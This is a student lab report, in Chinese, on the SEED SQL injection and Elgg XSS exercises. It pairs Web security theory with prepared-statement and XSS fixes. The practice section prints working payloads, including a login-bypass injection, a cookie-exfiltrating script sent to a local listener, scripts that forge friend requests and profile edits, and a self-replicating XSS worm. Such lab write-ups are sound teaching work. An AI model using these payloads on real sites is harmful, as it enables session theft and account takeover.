一、实践内容:
- Web 应用体系结构
应用程序有两种模式:C/S、B/S。
C/S 是客户端/服务器端程序,也就是说这类程序一般独立运行。而 B/S 就是浏览器端/服务器端应用程序,这类应用程序一般借助浏览器来运行。WEB 应用程序一般是 B/S 模式。Web 应用程序首先是“应用程序”,和用标准的程序语言,如 C、C++ 等编写出来的程序没有什么本质上的不同。然而 Web 应用程序又有自己独特的地方,就是它是基于 Web 的,而不是采用传统方法运行的。换句话说,它是典型的浏览器/服务器架构的产物。
一个 Web 应用程序是由完成特定任务的各种 Web 组件(web components)构成的并通过 Web 将服务展示给外界。在实际应用中,We b应用程序是由多个 Servlet、JSP 页面、HTML 文件以及图像文件等组成。所有这些组件相互协调为用户提供一组完整的服务。
- SQL注入攻击防范方法有哪些
SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面:
- 分级管理。对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
- 参数传值。程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量,这样可以最大程度防范SQL注入攻击。
- 基础过滤与二次过滤。SQL注入攻击前,入侵者通过修改参数提交and等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。
- 使用安全参数。SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击,从而确保系统的安全性。
- 漏洞扫描。为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。系统管理员可以采购一些SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。
- 多层验证。现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。
- 数据库信息加密。传统的加解密方法大致分为三种:对称加密、非对称加密、不可逆加密。
- Web 应用安全防范措施
- Web 站点网络传输安全设防措施:尽量使用 HTTPS 协议来保障 Web 站点传输时的保密性、完整性与身份真实性;通过加密的连接通道来管理 Web 站点,避免使用未经加密的 telnet、FTP、HTTP 来进行 Web 后台管理,而使用 SSH、SFTP 等安全协议;对关键的 Web 服务器,设置静态绑定 MAC-IP 映射,在服务网段内进行 ARP 等各类欺骗攻击的检测与 MAC 封禁机制。
- Web 站点操作系统及服务安全设防措施:对 Web 站点的操作系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的橾作系统及各种开放服务进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
- Web 应用程序安全设防措施:应该认识到采用动态内容、支持用户输入的 Web 应用程序较静态 HTML 具有更高的安全风险;对于必须提供用户交互、采用动态页而的 Web 站点,尽量使用具有良好安全声誉及稳定技术支持力量的 Web 应用软件包;只在必要时候自主或外包开发 Web 应用程序;使用 Web 服务器软件提供的日志功能,对 Web 应用程序的所有访问请求进行日志记录与安全审计。
- Web 站点数据安全设防措施:提商网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护。
二、实践过程:
- SEED SQL注入攻击与防御实验
首先登录 MySQL 数据库:mysql -u root -pseedubuntu
使用系统创建好的 Users 数据库:use Users;
查看该数据库下所有的表:show tables;
可以看到该数据库存在一个名为“credential”的表。下面使用查询语句,查看这个表的详细信息:select * from credential;
对 SELECT 语句的 SQL 注入攻击
首先使用seedUbuntu访问已经搭建好的Web页面:www.SEEDLabSQLInjection.com
以 SEED 实验环境自带的火狐浏览器为例,使用快捷键ctrl+U查看网页面源码
接下来查看表单标签下的具体内容:
<form action="unsafe_home.php" method="get">
<div class="input-group mb-3 text-center">
<div class="input-group-prepend">
<span class="input-group-text" id="uname">USERNAME</span>
</div>
<input type="text" class="form-control" placeholder="Username" name="username" aria-label="Username" aria-describedby="uname">
</div>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text" id="pwd">PASSWORD </span>
</div>
<input type="password" class="form-control" placeholder="Password" name="Password" aria-label="Username" aria-describedby="pwd">
</div>
<br>
<button type="submit" class="button btn-success btn-lg btn-block">Login</button>
</form>
上述代码表示用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面
然后在SEED虚拟机中打开该文件,进行代码审计,进入/var/www/SQLInjection/目录,找到unsafe_home.php
从以下代码可以看出存在一个Admin用户,并且对应的页面逻辑是不一样的。
function drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber){
if($id!=""){
session_start();
$_SESSION['id'] = $id;
$_SESSION['eid'] = $eid;
$_SESSION['name'] = $name;
$_SESSION['pwd'] = $pwd;
}else{
echo "can not assign session";
}
if ($name !="Admin") {
// If the user is a normal user.
...
}
else {
// if user is admin.
...
}
}
接下来重点观察一下php文件中查询语句:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
其中where参数处存在可以sql注入漏洞。输入变量$input_uname为Admin’ #时,'与sql语句中的单引号闭合,#就被解释成了sql语句中的注释符,即:
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'
去除注释后,sql语句变为
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin'
这样的话,就可以绕过密码校验,直接进入Admin用户页面。
测试输入用户名为Admin’ #,密码为空,登录成功后,如下图所示
下面要修改数据库的内容,修改原理如图所示,我们输入指令update credential set Name = ‘HYS’, EID = ‘12345’ where ID= 1;表示将ID为1的地方把Name换为HYS,EID改为12345,然后使用select * from credential查看一下发现修改成功。更换相应的参数变量便可修改其他的值。
从Profile Edit页面输入信息去改Boby的信息,利用它的UPDATE去验证漏洞。首先找到update的语句,在unsafe edit backend.php文件中,路径为 /var/www/SQLInjection,发现其中有以下内容:
在登陆界面中输入’, salary=‘12345’ where Name=‘Boby’;#,更改Boby的薪水为12345
SQL 对抗,修复上述 SQL 注入攻击漏洞
可以使用预处理语句避免上述注入攻击的实现,首先在unsafe_home.php页面中,对SELECT语句进行预处理。
原来的语句内容:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
修改后:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
接着,在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。
原来的语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
- SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用 XSS 漏洞做什么,我们在预先构建的 Ubuntu VM 映像中设置了一个名为 Elgg 的 Web 应用程序。在本实验中,学生需要利用此漏洞对经过修改的 Elgg 发起 XSS 攻击,攻击的最终目的是在用户之间传播 XSS 蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口。
- 弹窗显示 cookie 信息:将 cookie 信息显示。
- 窃取受害者的 cookies:将 cookie 发送给攻击者。
- 成为受害者的朋友:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程。
- 修改受害者的信息:使用 js 程序使得受害者在访问 Alice 的页面时,资料无需干预却被修改。
- 编写 XSS 蠕虫。
- 对抗 XSS 攻击。
发布恶意消息,显示警报窗口
在fireFox收藏中打开书签XSS Lab Site(www.xsslabelgg.com),用Alice的用户登录,用户名alice,密码seedalice
在Edit profile编辑个人信息的页面中的Brief description项输入,save后可以看到一个提示信息为XSS的弹窗
可以看到跳出XSS弹窗:
刷新页面,再次弹出上述提示框,这就实现了通过嵌入JS代码,弹出警报窗口的功能。
弹窗显示 cookie 信息
类似地,当Brief description项改为,save后可以看到一个包含自己cookie信息的弹窗
窃取受害者的 cookies
在个人简介中输入以下信息
<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>
上面的document.write()JavaScript 函数提供了可以对浏览器 DOM 结构进行操作的 API 接口,escape()函数表示对对字符串进行编码。
将受害者的cookie与http://127.0.0.1:5555?c=进行拼接,然后使受害者访问该链接
这样攻击者只需要监听该端口(5555端口),就可以收到受害者的cookie
其中127.0.0.1是接收信息的IP地址,5555是端口号。然后在终端中输入nc -l 5555 -v对5555端口进行监测。-l指定端口,-v显示详细信息,然后保存文本框输入的内容,终端就可以监听到浏览器发送的具体内容了:
成为受害者的朋友
假设当前登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby
首先使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友
可以看到此时浏览器发送的POST请求的具体内容:
其中请求的地址是:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1589264053&__elgg_token=v-5SQNXrM_NGAKG0TFtXWQ
显然,这里用到了三个参数,friend=、__elgg_ts、__elgg_token,分别是好友、时间、身份认证;而请求的地址是
http://www.xsslabelgg.com/action/friends/add
于是,可以构造下面的JS脚本,用于添加其他好友。
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将上面的脚本放在Alice的About me文本框内,注意文本框选择Edit HTML模式,并保存:
然后登录Boby的账号,模拟受害者的操作。用户名为boby,密码通过md5查询b78ed97677c161c1c82c142906674ad15242b2d4得到seedboby
Boby点击Alice用户的主页后,就执行了其中的payload,将Alice添加为了好友
修改受害者的信息
同上,首先要抓取在Elgg中加修改信息的请求过程。在进入Edit profile页面后,按f12,然后点击network选项卡,然后点击Save,抓取请求信息:
该请求的地址是http://www.xsslabelgg.com/action/profile/edit,参数guid代表好友的id,参数__elgg_ts代表时间戳,参数__elgg_token代表token
可以构造下面的payload,实现在Boby访问Alice的主页时修改 Boby 的个人资料
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>Hacked!!!!!~~~</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
然后模拟受害者的操作,登录 Boby,Boby的个人资料初始为:
访问Alice的主页,再查看个人资料,已经被修改:
编写 XSS 蠕虫
为了实现蠕虫感染,可以将下面这段代码在不同的用户之间感染传播,也将代码放在Alice的About me文本框内,并保存:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
用Boby访问 Alice,然后登录查看Boby,发现Boby被感染
退出登录Boby,使用Samy访问Boby,发现Samy被感染。
对抗 XSS 攻击
在用户输入文本时,禁用 JavaScript 渲染的功能。
也可以使用 Elgg 提供的安全插件 HTMLawed 过滤用户输入的标签。
使用HttpOnly,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持。
常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、“等,如果发现存在特殊字符,者将这些特殊字符过滤或者编码。
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。使用安全的编码函数,编码分为很多种,针对HTML代码的编码方式是HtmlEncode。HtmlEncode并非专用名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。
三、学习中遇到的问题及解决:
- 问题1:在编写JavaScript代码时,出现了很多语法错误
- 问题1解决方案:通过网上查阅资料,解决了这些问题,并提高了自己的编程能力
四、实验总结:
本周主要学习了SQL注入和XSS脚本攻击,充分理解了它们的攻击原理以及防御策略,接下来需要进一步加强实践,懂得如何去防御这些攻击所带来的危害。就本次实践而言,更注重攻击过程的理解,学会原理就足够了,想要真正对成熟的 Web 框架构成攻击,还是要下功夫的。